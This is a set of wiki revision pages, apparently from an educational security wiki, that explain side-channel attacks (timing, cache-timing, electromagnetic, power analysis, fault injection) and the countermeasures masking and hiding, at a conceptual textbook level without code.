There are two types of implementation attack classifications. First the classification in '''active''' (device or environment is changed so that the device shows unnatural behavior) and '''passive''' (only signals are used that are sent out for observation under normal conditions). The other way is to distinguish whether the attacks are '''non-invasive''' (only information from directly accessible interfaces is used), '''semi-invasive''' (modification of the device, but only the outer layers) or '''invasive''' (manipulation of the device in every possible way).<br />
<br />
'''Side Channel Attacks''' are classified as '''passive''' and '''non-invasive''' implementation attacks.<br />
<br />
Side channels are for example execution time, electromagnetic radiation, and power consumption. The attacker tries to find out the secret key by analysing its influence on the side channel signals. Relatively inexpensive basic equipment is required to carry out a Side Channel Attack. A personal computer is sufficient to analyse the side channels. Instruments such as an oscilloscope, spectrum analyser, or electromagnetic antenna are required for the measurement. The attack itself can last from a few minutes to a few hours.<ref name="Pop09"/><br />
<br />
[[File:Side channels.PNG|500px]]<ref name="Mai12"/><br />
<br />
== Types of Side Channel Attacks ==<br />
<br />
As there are different side channels, there are of course also different Side Channel Attacks. The best-known Side Channel Attacks are<ref name="BT19"/>: <br />
# Timing Attacks<br />
# Electromagnetic Attacks <br />
# Power-Monitoring Attacks<br />
# Fault-Injection Attacks <br />
<br />
=== Timing Attacks ===<br />
<br />
The Timing Attack is a Side Channel attack in which the execution time is analysed in order to obtain important information about a device. This is possible because each process is completed after a certain period of time, which depends on the type of process, the input, the characteristics of the environment and the technology used to build the device. <br/><br />
This type of attack is typically used in conjunction with other Side Channel Attacks because more information can be extracted using different analytical methods. The Power-Monitoring Attack, for example, works very well in combination with the Timing Attack. When using these two attacks in conjunction, one recognizes, for example, the order of operations. In this way, the attacker can guess the process currently running on the device and possibly also reconstruct it.<ref name="BT19"/><br />
<br />
==== Cache-Timing Analysis ====<br />
<br />
An example of a Timing Attack is the Cache-Timing Analysis. This type of Timing Attack is applied to a process's cache memory. The aim is to measure the times for cache accesses and then use these time values to draw conclusions about which information is currently being processed. This is possible because the time for a cache access can vary in two ways:<br />
* cache hit (the data requested by the processor is available in the cache) and <br />
* cache miss (the data requested by the processor is not available in the cache and must therefore be requested from the main memory).<br />
<br />
It takes longer to load the data from the main memory than to call up the data directly from the cache. The time difference is used in the Time Analysis to exploit the device. The attacker measures the time by deleting the monitored memory line (smallest administrative unit within the cache of processors) from the cache (FLUSH) and then waits for the victim to request the memory line. In this case it allows access to it (WAIT). The attacker then reloads the memory line and measures the time required for loading (RELOAD). If the victim accesses the memory line (cache) while the attacker is waiting for it, the RELOAD takes less time. If the request has to be answered from main memory, the RELOAD takes considerably longer.<ref name="BT19"/> <br/><br/><br />
<br />
[[File:Cache Timing Attack.PNG|600px]]<ref name="BT19"/><br />
<br />
=== Electromagnetic Attacks ===<br />
<br />
Electromagnetic (EM) signals can be intercepted with sensors such as an antenna. The EM signal is then converted into a current signal from which the noise is removed and the frequency band is limited. The two main types of EM analysis are<ref name="BT19"/><br />
* Simple Electromagnetic Analysis and <br />
* Differential Electromagnetic Analysis.<br />
<br />
==== Simple Electromagnetic Analysis ====<br />
<br />
In order to be able to carry out a Simple Electromagnetic Analysis (SEMA), one must have prior knowledge of the architecture or the security policies of the device. The attacker tries to capture and analyse a single EM trace in order to obtain information about the device in this way. The analysis is done visually and the goal is to find a sequence of transitions in the function that contain information about the secret key.<ref name="BT19"/><br />
<br />
==== Differential Electromagnetic Analysis ====<br />
<br />
Differential Electromagnetic Analysis (DEMA) is required when the information that needs to be used cannot be analysed visually (i.e. Simple Electromagnetic Analysis is not possible). The analysed signal is compared with an equivalent signal. When the equivalent signal comes from another area of the device, this is called spatial referencing. If the signal comes from a different time, this is called temporal referencing. <br/><br />
Differential Electromagnetic Analysis does not require a lot of knowledge about the compromised device, since most of the information can be learned afterwards during the analysis. This helps to get details about the device such as functionality and structure, which in turn helps to reconstruct the device or to deactivate the security policy.<ref name="BT19"/><br />
<br />
=== Power-monitoring Attacks ===<br />
<br />
Power consumption analysis is used to obtain critical information (i.e. the secret key) by analysing the power consumption of a device. The attack is non-invasive, but requires the attacker to have physical access to the device in order to capture the current signals. It is the dominant form of Side Channel Attacks.<br />
<br />
Performing such an attack requires a series of current measurements, which can be measured with an oscilloscope. Each current signal that is captured during the analysis is called a power trace. An attacker normally needs a large number of these power traces in order to successfully carry out a Power-Monitoring Attack. After the measurement, the relationship between the power consumption and the secret key is analysed in various ways.<br />
<br />
When measuring the power consumption of a device, it is important to be aware that there are two types of power that affect power consumption: dynamic power and leakage power. The first is caused by switching activity of transistors within a device and the second is unwanted behaviour of a transistor. An attacker normally wants to capture dynamic power signals as they directly relate to the functional behaviour of the device. This means that he can use these signals to obtain information about certain operations that are currently being carried out inside of the device.<ref name="BT19"/><br />
<br />
==== Simple Power Analysis ====<br />
<br />
Simple Power Analysis (SPA) does not require any advanced or statistical processing stages, but it does require relatively detailed knowledge about the implementation of a cryptographic algorithm to interpret information about the secret key by visually examining the power traces. <br/><br />
Simple Power Analysis is typically used for devices with limited accessibility, as only a few power traces are likely to be available to the attacker. However, for the attack to be successful, the power traces must contain critical information. If multiple power traces are available, the traces can be averaged to remove noise.<br />
The power traces are usually checked visually. They show a sequence of patterns that can help identify key bits, instructions, or functions. This is possible because every command or function creates a specific pattern in the power trace. But to be able to see it, the captured power trace must have a clear pattern (without a lot of noise).<ref name="BT19"/><br />
<br />
==== Differential Power Analysis ====<br />
<br />
Differential Power Analysis (DPA) is the most common type of Power-Monitoring Attack and generally the best-known Side Channel Attack. This is because the attacker does not need to have any prior knowledge of the device he is trying to attack. Another reason is that this attack is very effective at capturing high quality signals in environments with high levels of noise. What can be seen as a disadvantage is that it typically requires a larger number of power traces compared to Simple Power Analysis. But that fact also makes it more powerful. <br/><br />
Differential Power Analysis requires two phases: data collection and data analysis (just like SPA). In the data analysis phase, the current traces are analysed statistically (e.g. differences in the mean values).<ref name="BT19"/><br />
<br />
==== Correlation Power Analysis ====<br />
<br />
The Correlation Power Analysis is an advanced form of the Power-Monitoring Attack. First, the real power consumption is measured. Hypothetical intermediate values are then calculated, each consisting of a part of an estimated subkey and known data (i.e. plain text). The theoretical power consumption that occurs in the device during the processing of the intermediate value is estimated for each hypothetical intermediate value, e.g. with the help of the [[Wikipedia:Hamming_distance|Hamming distance]]. A statistical method is then used to find out which subkey was most likely used by correlating the hypothetical power traces and the actual power traces. The best subkey guesses are then pieced together to get the full secret key.<ref name="CPA"/><br />
<br />
[[File:Correlation Power Analysis.PNG|350px]]<ref name="CPA"/><br />
<br />
==== Template Power Analysis ====<br />
<br />
The Template Power Analysis is a more advanced form of the Simple Power Analysis (SPA). The attacker characterises and saves known and recognized patterns in the power traces as templates. He then compares these templates with the power traces collected from the target device. In this way, he recognizes matches and therefore knows what operations were being carried out when the power traces were measured.<ref name="BT19"/><ref name="CRR03"/><br />
<br />
=== Fault-Injection Attacks ===<br />
The Fault-Injection Attack is a attack where keys/secrets and sensitive information is "stolen" from cryptographic devices or systems by generating faults. Usually the attacker exploits a system that is more prone to being vulnerable due to its higher design complexity and incomplete verification. Voltage glitching, electromagnetic glitching or clock glitching are some of the ways a fault is generated. Fault-Injection Attacks are usually differential, because the output of a faulty operation is compared to a non-faulty operation.<ref name="ISCA"/><br />
<br />
=== Others ===<br />
<br />
There are also other Side Channel Attacks such as Acoustic and Optical Attacks, but these have not yet been extensively investigated and are therefore not mentioned in more detail here.<ref name="BT19"/><br />
<br />
== Countermeasures ==<br />
<br />
The aim of the countermeasures is to reduce the usable part of the side channel information to a level at which attacks are no longer possible, or at least to a level that would require too many measurements of the side channel. It would of course be much more attractive if you managed to prevent attacks from being possible, but in practice this is very difficult to achieve. A general countermeasure against all types of Side Channel Attacks is to use secret keys and similar sensitive data as rarely as possible (e.g. work with session keys) and to update them as often as possible.<br />
<br />
From a technical point of view, the aim of these countermeasures is to remove the dependency between the data values and operations occurring in a cryptographic algorithm and the side channel signals of a cryptographic device. Two basic approaches can be taken to achieve this goal<ref name="Pop09"/>: <br />
* Masking<br />
* Hiding<br />
<br />
=== Masking ===<br />
<br />
When masking is used, all susceptible intermediate values v of a cryptographic algorithm are hidden by a random value m called a mask: v(m) = v ∗ m. The random mask is generated internally by a device as it must not be known to an attacker. All operations performed in a cryptographic device only work with the masked values v(m). The most common masking operations are the XOR function (Boolean masking) and arithmetic operations such as modular addition or multiplication (arithmetic masking). Examples of masking countermeasures are masked look-up tables in software or masked function blocks in hardware.<ref name="Pop09"/><br />
<br />
=== Hiding ===<br />
<br />
Hiding is an attempt to change the side channel properties of cryptographic devices in such a way that the data processed on a device and the emitted side channel signals can no longer be associated with one another. However, this is usually not perfectly possible in practice. There are two main approaches to implement hiding:<br />
* Randomization, i.e. randomizing side channel signals (e.g. inserting dummy operations randomly or mixing operations) and <br />
* making side channel signals the same (for all operations and data values).<br />
Randomization of side channel signals can be achieved by performing the operations of cryptographic algorithms at different times for each execution (temporal randomization) or by directly increasing the noise level in the side channel signals (randomization in the amplitude dimension).<ref name="Pop09"/><br />
<br />
== References ==<br />
<references><br />
<ref name="BT19">Swarup Bhunia and Mark Tehranipoor. Chapter 8 - side-channel attacks. In Swarup Bhunia and Mark Tehranipoor, editors, Hardware Security, pages 193-218. Morgan Kaufmann, 2019.</ref><br />
<ref name="CRR03">Suresh Chari, Josyula R. Rao, and Pankaj Rohatgi. Template attacks. In Burton S. Kaliski, cetin K. Koc, and Christof Paar, editors, Cryptographic Hardware and Embedded Systems - CHES 2002, pages 13-28, Berlin, Heidelberg, 2003. Springer Berlin Heidelberg.</ref><br />
<ref name="Pop09">T. Popp. An introduction to implementation attacks and countermeasures. In 2009 7th IEEE/ACM International Conference on Formal Methods and Models for Co-Design, pages 108-115, 2009.</ref><br />
<ref name="Mai12">Ken Mai. Side Channel Attacks and Countermeasures, pages 175-194. Springer New York, New York, NY, 2012.</ref><br />
<ref name="CPA">https://cryptography.gmu.edu/documentation/fobos/cpa.html</ref><br />
<ref name="ISCA">Y. Li, M. Chen and J. Wang, "Introduction to side-channel attacks and fault attacks," 2016 Asia-Pacific International Symposium on Electromagnetic Compatibility (APEMC), 2016, pp. 573-575, doi: 10.1109/APEMC.2016.7522801.</ref><br />
<br />
</references><br />
<br />
[[Category:Basic]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&diff=8948Fault Injection Attack2021-12-21T19:56:14Z<p>SVrdoljak: /* Introduction */</p>
<hr />
<div><br />
== Summary==<br />
<br />
<br />
== Introduction ==<br />
<br />
== Types of Side Channel Attacks ==<br />
<br />
<br />
=== Timing Attacks ===<br />
<br />
<br />
==== Cache-Timing Analysis ====<br />
<br />
<br />
=== Electromagnetic Attacks ===<br />
<br />
<br />
==== Simple Electromagnetic Analysis ====<br />
<br />
<br />
==== Differential Electromagnetic Analysis ====<br />
<br />
<br />
=== Power-monitoring Attacks ===<br />
<br />
<br />
==== Simple Power Analysis ====<br />
<br />
<br />
==== Differential Power Analysis ====<br />
<br />
<br />
==== Correlation Power Analysis ====<br />
<br />
<br />
==== Template Power Analysis ====<br />
<br />
<br />
=== Fault-Injection Attacks ===<br />
<br />
<br />
=== Others ===<br />
<br />
<br />
== Countermeasures ==<br />
<br />
<br />
=== Masking ===<br />
<br />
<br />
=== Hiding ===<br />
<br />
<br />
<br />
== References ==<br />
<br />
<br />
[[Category:Basic]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&diff=8947Fault Injection Attack2021-12-21T19:56:06Z<p>SVrdoljak: Created page with " == Summary== == Introduction == '''Side Channel Attacks''' are classified as '''passive''' and '''non-invasive''' implementation attacks. == Types of Side Channel Attac..."</p>
<hr />
<div><br />
== Summary==<br />
<br />
<br />
== Introduction ==<br />
<br />
<br />
'''Side Channel Attacks''' are classified as '''passive''' and '''non-invasive''' implementation attacks.<br />
<br />
<br />
== Types of Side Channel Attacks ==<br />
<br />
<br />
=== Timing Attacks ===<br />
<br />
<br />
==== Cache-Timing Analysis ====<br />
<br />
<br />
=== Electromagnetic Attacks ===<br />
<br />
<br />
==== Simple Electromagnetic Analysis ====<br />
<br />
<br />
==== Differential Electromagnetic Analysis ====<br />
<br />
<br />
=== Power-monitoring Attacks ===<br />
<br />
<br />
==== Simple Power Analysis ====<br />
<br />
<br />
==== Differential Power Analysis ====<br />
<br />
<br />
==== Correlation Power Analysis ====<br />
<br />
<br />
==== Template Power Analysis ====<br />
<br />
<br />
=== Fault-Injection Attacks ===<br />
<br />
<br />
=== Others ===<br />
<br />
<br />
== Countermeasures ==<br />
<br />
<br />
=== Masking ===<br />
<br />
<br />
=== Hiding ===<br />
<br />
<br />
<br />
== References ==<br />
<br />
<br />
[[Category:Basic]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Side_Channel_Attacks&diff=8939Side Channel Attacks2021-12-21T19:04:58Z<p>SVrdoljak: /* Types of Side Channel Attacks */</p>
<hr />
<div><br />
== Summary==<br />
<br />
'''Side Channel Attacks''' are attacks on the practical implementation. They are passive and non-invasive and examples of side channels are execution time, electromagnetic radiation and power consumption. You need additional but inexpensive instruments to measure the side channel signals. Different prior knowledge is required depending on the type of attack. Countermeasures are masking and hiding.<br />
<br />
== Introduction ==<br />
<br />
'''Classical cryptanalytic attacks''' analyse algorithms mathematically for weak points and vulnerabilities. There is a relatively new type of cryptanalytic attack called '''implementation attack''' (the Side Channel Attack is part of it). Instead of attacking the algorithm mathematically, the practical implementation is now the target. This type of attack bypasses the previously installed security mechanisms (e.g. RSA, AES) by also using information emitted by the physical implementation, such as electromagnetic radiation in calculations.<br />
<br />
There are two types of implementation attack classifications. First the classification in '''active''' (device or environment is changed so that the device shows unnatural behavior) and '''passive''' (only signals are used that are sent out for observation under normal conditions). The other way is to distinguish whether the attacks are '''non-invasive''' (only information from directly accessible interfaces is used), '''semi-invasive''' (modification of the device, but only the outer layers) or '''invasive''' (manipulation of the device in every possible way).<br />
<br />
'''Side Channel Attacks''' are classified as '''passive''' and '''non-invasive''' implementation attacks.<br />
<br />
Side channels are for example execution time, electromagnetic radiation, and power consumption. The attacker tries to find out the secret key by analysing its influence on the side channel signals. Relatively inexpensive basic equipment is required to carry out a Side Channel Attack. A personal computer is sufficient to analyse the side channels. Instruments such as an oscilloscope, spectrum analyser, or electromagnetic antenna are required for the measurement. The attack itself can last from a few minutes to a few hours.<ref name="Pop09"/><br />
<br />
[[File:Side channels.PNG|500px]]<ref name="Mai12"/><br />
<br />
== Types of Side Channel Attacks ==<br />
<br />
As there are different side channels, there are of course also different Side Channel Attacks. The best-known Side Channel Attacks are<ref name="BT19"/>: <br />
# Timing Attacks<br />
# Electromagnetic Attacks <br />
# Power-Monitoring Attacks<br />
# Fault-Injection Attacks <br />
<br />
=== Timing Attacks ===<br />
<br />
The Timing Attack is a Side Channel attack in which the execution time is analysed in order to obtain important information about a device. This is possible because each process is completed after a certain period of time, which depends on the type of process, the input, the characteristics of the environment and the technology used to build the device. <br/><br />
This type of attack is typically used in conjunction with other Side Channel Attacks because more information can be extracted using different analytical methods. The Power-Monitoring Attack, for example, works very well in combination with the Timing Attack. When using these two attacks in conjunction, one recognizes, for example, the order of operations. In this way, the attacker can guess the process currently running on the device and possibly also reconstruct it.<ref name="BT19"/><br />
<br />
==== Cache-Timing Analysis ====<br />
<br />
An example of a Timing Attack is the Cache-Timing Analysis. This type of Timing Attack is applied to a process's cache memory. The aim is to measure the times for cache accesses and then use these time values to draw conclusions about which information is currently being processed. This is possible because the time for a cache access can vary in two ways:<br />
* cache hit (the data requested by the processor is available in the cache) and <br />
* cache miss (the data requested by the processor is not available in the cache and must therefore be requested from the main memory).<br />
<br />
It takes longer to load the data from the main memory than to call up the data directly from the cache. The time difference is used in the Time Analysis to exploit the device. The attacker measures the time by deleting the monitored memory line (smallest administrative unit within the cache of processors) from the cache (FLUSH) and then waits for the victim to request the memory line. In this case it allows access to it (WAIT). The attacker then reloads the memory line and measures the time required for loading (RELOAD). If the victim accesses the memory line (cache) while the attacker is waiting for it, the RELOAD takes less time. If the request has to be answered from main memory, the RELOAD takes considerably longer.<ref name="BT19"/> <br/><br/><br />
<br />
[[File:Cache Timing Attack.PNG|600px]]<ref name="BT19"/><br />
<br />
=== Electromagnetic Attacks ===<br />
<br />
Electromagnetic (EM) signals can be intercepted with sensors such as an antenna. The EM signal is then converted into a current signal from which the noise is removed and the frequency band is limited. The two main types of EM analysis are<ref name="BT19"/><br />
* Simple Electromagnetic Analysis and <br />
* Differential Electromagnetic Analysis.<br />
<br />
==== Simple Electromagnetic Analysis ====<br />
<br />
In order to be able to carry out a Simple Electromagnetic Analysis (SEMA), one must have prior knowledge of the architecture or the security policies of the device. The attacker tries to capture and analyse a single EM trace in order to obtain information about the device in this way. The analysis is done visually and the goal is to find a sequence of transitions in the function that contain information about the secret key.<ref name="BT19"/><br />
<br />
==== Differential Electromagnetic Analysis ====<br />
<br />
Differential Electromagnetic Analysis (DEMA) is required when the information that needs to be used cannot be analysed visually (i.e. Simple Electromagnetic Analysis is not possible). The analysed signal is compared with an equivalent signal. When the equivalent signal comes from another area of the device, this is called spatial referencing. If the signal comes from a different time, this is called temporal referencing. <br/><br />
Differential Electromagnetic Analysis does not require a lot of knowledge about the compromised device, since most of the information can be learned afterwards during the analysis. This helps to get details about the device such as functionality and structure, which in turn helps to reconstruct the device or to deactivate the security policy.<ref name="BT19"/><br />
<br />
=== Power-monitoring Attacks ===<br />
<br />
Power consumption analysis is used to obtain critical information (i.e. the secret key) by analysing the power consumption of a device. The attack is non-invasive, but requires the attacker to have physical access to the device in order to capture the current signals. It is the dominant form of Side Channel Attacks.<br />
<br />
Performing such an attack requires a series of current measurements, which can be measured with an oscilloscope. Each current signal that is captured during the analysis is called a power trace. An attacker normally needs a large number of these power traces in order to successfully carry out a Power-Monitoring Attack. After the measurement, the relationship between the power consumption and the secret key is analysed in various ways.<br />
<br />
When measuring the power consumption of a device, it is important to be aware that there are two types of power that affect power consumption: dynamic power and leakage power. The first is caused by switching activity of transistors within a device and the second is unwanted behaviour of a transistor. An attacker normally wants to capture dynamic power signals as they directly relate to the functional behaviour of the device. This means that he can use these signals to obtain information about certain operations that are currently being carried out inside of the device.<ref name="BT19"/><br />
<br />
==== Simple Power Analysis ====<br />
<br />
Simple Power Analysis (SPA) does not require any advanced or statistical processing stages, but it does require relatively detailed knowledge about the implementation of a cryptographic algorithm to interpret information about the secret key by visually examining the power traces. <br/><br />
Simple Power Analysis is typically used for devices with limited accessibility, as only a few power traces are likely to be available to the attacker. However, for the attack to be successful, the power traces must contain critical information. If multiple power traces are available, the traces can be averaged to remove noise.<br />
The power traces are usually checked visually. They show a sequence of patterns that can help identify key bits, instructions, or functions. This is possible because every command or function creates a specific pattern in the power trace. But to be able to see it, the captured power trace must have a clear pattern (without a lot of noise).<ref name="BT19"/><br />
<br />
==== Differential Power Analysis ====<br />
<br />
Differential Power Analysis (DPA) is the most common type of Power-Monitoring Attack and generally the best-known Side Channel Attack. This is because the attacker does not need to have any prior knowledge of the device he is trying to attack. Another reason is that this attack is very effective at capturing high quality signals in environments with high levels of noise. What can be seen as a disadvantage is that it typically requires a larger number of power traces compared to Simple Power Analysis. But that fact also makes it more powerful. <br/><br />
Differential Power Analysis requires two phases: data collection and data analysis (just like SPA). In the data analysis phase, the current traces are analysed statistically (e.g. differences in the mean values).<ref name="BT19"/><br />
<br />
==== Correlation Power Analysis ====<br />
<br />
The Correlation Power Analysis is an advanced form of the Power-Monitoring Attack. First, the real power consumption is measured. Hypothetical intermediate values are then calculated, each consisting of a part of an estimated subkey and known data (i.e. plain text). The theoretical power consumption that occurs in the device during the processing of the intermediate value is estimated for each hypothetical intermediate value, e.g. with the help of the [[Wikipedia:Hamming_distance|Hamming distance]]. A statistical method is then used to find out which subkey was most likely used by correlating the hypothetical power traces and the actual power traces. The best subkey guesses are then pieced together to get the full secret key.<ref name="CPA"/><br />
<br />
[[File:Correlation Power Analysis.PNG|350px]]<ref name="CPA"/><br />
<br />
==== Template Power Analysis ====<br />
<br />
The Template Power Analysis is a more advanced form of the Simple Power Analysis (SPA). The attacker characterises and saves known and recognized patterns in the power traces as templates. He then compares these templates with the power traces collected from the target device. In this way, he recognizes matches and therefore knows what operations were being carried out when the power traces were measured.<ref name="BT19"/><ref name="CRR03"/><br />
<br />
=== Fault-Injection Attacks ===<br />
The Fault-Injection Attacks is a attack where keys/secrets and sensitive information is "stolen" from cryptographic devices or systems by generating faults. Usually the attacker exploits a system that is more prone to being vulnerable due to its higher design complexity and incomplete verification. Voltage glitching, electromagnetic glitching or clock glitching are some of the ways a fault is generated. Fault-Injection Attacks are usually differential, because the output of a faulty operation is compared to a non-faulty operation.<ref name="ISCA"/><br />
<br />
=== Others ===<br />
<br />
There are also other Side Channel Attacks such as Acoustic and Optical Attacks, but these have not yet been extensively investigated and are therefore not mentioned in more detail here.<ref name="BT19"/><br />
<br />
== Countermeasures ==<br />
<br />
The aim of the countermeasures is to reduce the usable part of the side channel information to a level at which attacks are no longer possible, or at least to a level that would require too many measurements of the side channel. It would of course be much more attractive if you managed to prevent attacks from being possible, but in practice this is very difficult to achieve. A general countermeasure against all types of Side Channel Attacks is to use secret keys and similar sensitive data as rarely as possible (e.g. work with session keys) and to update them as often as possible.<br />
<br />
From a technical point of view, the aim of these countermeasures is to remove the dependency between the data values and operations occurring in a cryptographic algorithm and the side channel signals of a cryptographic device. Two basic approaches can be taken to achieve this goal<ref name="Pop09"/>: <br />
* Masking<br />
* Hiding<br />
<br />
=== Masking ===<br />
<br />
When masking is used, all susceptible intermediate values v of a cryptographic algorithm are hidden by a random value m called a mask: v(m) = v ∗ m. The random mask is generated internally by a device as it must not be known to an attacker. All operations performed in a cryptographic device only work with the masked values v(m). The most common masking operations are the XOR function (Boolean masking) and arithmetic operations such as modular addition or multiplication (arithmetic masking). Examples of masking countermeasures are masked look-up tables in software or masked function blocks in hardware.<ref name="Pop09"/><br />
<br />
=== Hiding ===<br />
<br />
Hiding is an attempt to change the side channel properties of cryptographic devices in such a way that the data processed on a device and the emitted side channel signals can no longer be associated with one another. However, this is usually not perfectly possible in practice. There are two main approaches to implement hiding:<br />
* Randomization, i.e. randomizing side channel signals (e.g. inserting dummy operations randomly or mixing operations) and <br />
* making side channel signals the same (for all operations and data values).<br />
Randomization of side channel signals can be achieved by performing the operations of cryptographic algorithms at different times for each execution (temporal randomization) or by directly increasing the noise level in the side channel signals (randomization in the amplitude dimension).<ref name="Pop09"/><br />
<br />
== References ==<br />
<references><br />
<ref name="BT19">Swarup Bhunia and Mark Tehranipoor. Chapter 8 - side-channel attacks. In Swarup Bhunia and Mark Tehranipoor, editors, Hardware Security, pages 193-218. Morgan Kaufmann, 2019.</ref><br />
<ref name="CRR03">Suresh Chari, Josyula R. Rao, and Pankaj Rohatgi. Template attacks. In Burton S. Kaliski, cetin K. Koc, and Christof Paar, editors, Cryptographic Hardware and Embedded Systems - CHES 2002, pages 13-28, Berlin, Heidelberg, 2003. Springer Berlin Heidelberg.</ref><br />
<ref name="Pop09">T. Popp. An introduction to implementation attacks and countermeasures. In 2009 7th IEEE/ACM International Conference on Formal Methods and Models for Co-Design, pages 108-115, 2009.</ref><br />
<ref name="Mai12">Ken Mai. Side Channel Attacks and Countermeasures, pages 175-194. Springer New York, New York, NY, 2012.</ref><br />
<ref name="CPA">https://cryptography.gmu.edu/documentation/fobos/cpa.html</ref><br />
<ref name="ISCA">Y. Li, M. Chen and J. Wang, "Introduction to side-channel attacks and fault attacks," 2016 Asia-Pacific International Symposium on Electromagnetic Compatibility (APEMC), 2016, pp. 573-575, doi: 10.1109/APEMC.2016.7522801.</ref><br />
<br />
</references><br />
<br />
[[Category:Basic]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Side_Channel_Attacks&diff=8938Side Channel Attacks2021-12-21T19:04:41Z<p>SVrdoljak: /* References */</p>
<hr />
<div><br />
== Summary==<br />
<br />
'''Side Channel Attacks''' are attacks on the practical implementation. They are passive and non-invasive and examples of side channels are execution time, electromagnetic radiation and power consumption. You need additional but inexpensive instruments to measure the side channel signals. Different prior knowledge is required depending on the type of attack. Countermeasures are masking and hiding.<br />
<br />
== Introduction ==<br />
<br />
'''Classical cryptanalytic attacks''' analyse algorithms mathematically for weak points and vulnerabilities. There is a relatively new type of cryptanalytic attack called '''implementation attack''' (the Side Channel Attack is part of it). Instead of attacking the algorithm mathematically, the practical implementation is now the target. This type of attack bypasses the previously installed security mechanisms (e.g. RSA, AES) by also using information emitted by the physical implementation, such as electromagnetic radiation in calculations.<br />
<br />
There are two types of implementation attack classifications. First the classification in '''active''' (device or environment is changed so that the device shows unnatural behavior) and '''passive''' (only signals are used that are sent out for observation under normal conditions). The other way is to distinguish whether the attacks are '''non-invasive''' (only information from directly accessible interfaces is used), '''semi-invasive''' (modification of the device, but only the outer layers) or '''invasive''' (manipulation of the device in every possible way).<br />
<br />
'''Side Channel Attacks''' are classified as '''passive''' and '''non-invasive''' implementation attacks.<br />
<br />
Side channels are for example execution time, electromagnetic radiation, and power consumption. The attacker tries to find out the secret key by analysing its influence on the side channel signals. Relatively inexpensive basic equipment is required to carry out a Side Channel Attack. A personal computer is sufficient to analyse the side channels. Instruments such as an oscilloscope, spectrum analyser, or electromagnetic antenna are required for the measurement. The attack itself can last from a few minutes to a few hours.<ref name="Pop09"/><br />
<br />
[[File:Side channels.PNG|500px]]<ref name="Mai12"/><br />
<br />
== Types of Side Channel Attacks ==<br />
<br />
As there are different side channels, there are of course also different Side Channel Attacks. The best-known Side Channel Attacks are<ref name="BT19"/>: <br />
# Timing Attacks<br />
# Electromagnetic Attacks <br />
# Power-Monitoring Attacks<br />
# Fault-Injection Attacks <br />
<br />
=== Timing Attacks ===<br />
<br />
The Timing Attack is a Side Channel attack in which the execution time is analysed in order to obtain important information about a device. This is possible because each process is completed after a certain period of time, which depends on the type of process, the input, the characteristics of the environment and the technology used to build the device. <br/><br />
This type of attack is typically used in conjunction with other Side Channel Attacks because more information can be extracted using different analytical methods. The Power-Monitoring Attack, for example, works very well in combination with the Timing Attack. When using these two attacks in conjunction, one recognizes, for example, the order of operations. In this way, the attacker can guess the process currently running on the device and possibly also reconstruct it.<ref name="BT19"/><br />
<br />
==== Cache-Timing Analysis ====<br />
<br />
An example of a Timing Attack is the Cache-Timing Analysis. This type of Timing Attack is applied to a process's cache memory. The aim is to measure the times for cache accesses and then use these time values to draw conclusions about which information is currently being processed. This is possible because the time for a cache access can vary in two ways:<br />
* cache hit (the data requested by the processor is available in the cache) and <br />
* cache miss (the data requested by the processor is not available in the cache and must therefore be requested from the main memory).<br />
<br />
It takes longer to load the data from the main memory than to call up the data directly from the cache. The time difference is used in the Time Analysis to exploit the device. The attacker measures the time by deleting the monitored memory line (smallest administrative unit within the cache of processors) from the cache (FLUSH) and then waits for the victim to request the memory line. In this case it allows access to it (WAIT). The attacker then reloads the memory line and measures the time required for loading (RELOAD). If the victim accesses the memory line (cache) while the attacker is waiting for it, the RELOAD takes less time. If the request has to be answered from main memory, the RELOAD takes considerably longer.<ref name="BT19"/> <br/><br/><br />
<br />
[[File:Cache Timing Attack.PNG|600px]]<ref name="BT19"/><br />
<br />
=== Electromagnetic Attacks ===<br />
<br />
Electromagnetic (EM) signals can be intercepted with sensors such as an antenna. The EM signal is then converted into a current signal from which the noise is removed and the frequency band is limited. The two main types of EM analysis are<ref name="BT19"/><br />
* Simple Electromagnetic Analysis and <br />
* Differential Electromagnetic Analysis.<br />
<br />
==== Simple Electromagnetic Analysis ====<br />
<br />
In order to be able to carry out a Simple Electromagnetic Analysis (SEMA), one must have prior knowledge of the architecture or the security policies of the device. The attacker tries to capture and analyse a single EM trace in order to obtain information about the device in this way. The analysis is done visually and the goal is to find a sequence of transitions in the function that contain information about the secret key.<ref name="BT19"/><br />
<br />
==== Differential Electromagnetic Analysis ====<br />
<br />
Differential Electromagnetic Analysis (DEMA) is required when the information that needs to be used cannot be analysed visually (i.e. Simple Electromagnetic Analysis is not possible). The analysed signal is compared with an equivalent signal. When the equivalent signal comes from another area of the device, this is called spatial referencing. If the signal comes from a different time, this is called temporal referencing. <br/><br />
Differential Electromagnetic Analysis does not require a lot of knowledge about the compromised device, since most of the information can be learned afterwards during the analysis. This helps to get details about the device such as functionality and structure, which in turn helps to reconstruct the device or to deactivate the security policy.<ref name="BT19"/><br />
<br />
=== Power-monitoring Attacks ===<br />
<br />
Power consumption analysis is used to obtain critical information (i.e. the secret key) by analysing the power consumption of a device. The attack is non-invasive, but requires the attacker to have physical access to the device in order to capture the current signals. It is the dominant form of Side Channel Attacks.<br />
<br />
Performing such an attack requires a series of current measurements, which can be measured with an oscilloscope. Each current signal that is captured during the analysis is called a power trace. An attacker normally needs a large number of these power traces in order to successfully carry out a Power-Monitoring Attack. After the measurement, the relationship between the power consumption and the secret key is analysed in various ways.<br />
<br />
When measuring the power consumption of a device, it is important to be aware that there are two types of power that affect power consumption: dynamic power and leakage power. The first is caused by switching activity of transistors within a device and the second is unwanted behaviour of a transistor. An attacker normally wants to capture dynamic power signals as they directly relate to the functional behaviour of the device. This means that he can use these signals to obtain information about certain operations that are currently being carried out inside of the device.<ref name="BT19"/><br />
<br />
==== Simple Power Analysis ====<br />
<br />
Simple Power Analysis (SPA) does not require any advanced or statistical processing stages, but it does require relatively detailed knowledge about the implementation of a cryptographic algorithm to interpret information about the secret key by visually examining the power traces. <br/><br />
Simple Power Analysis is typically used for devices with limited accessibility, as only a few power traces are likely to be available to the attacker. However, for the attack to be successful, the power traces must contain critical information. If multiple power traces are available, the traces can be averaged to remove noise.<br />
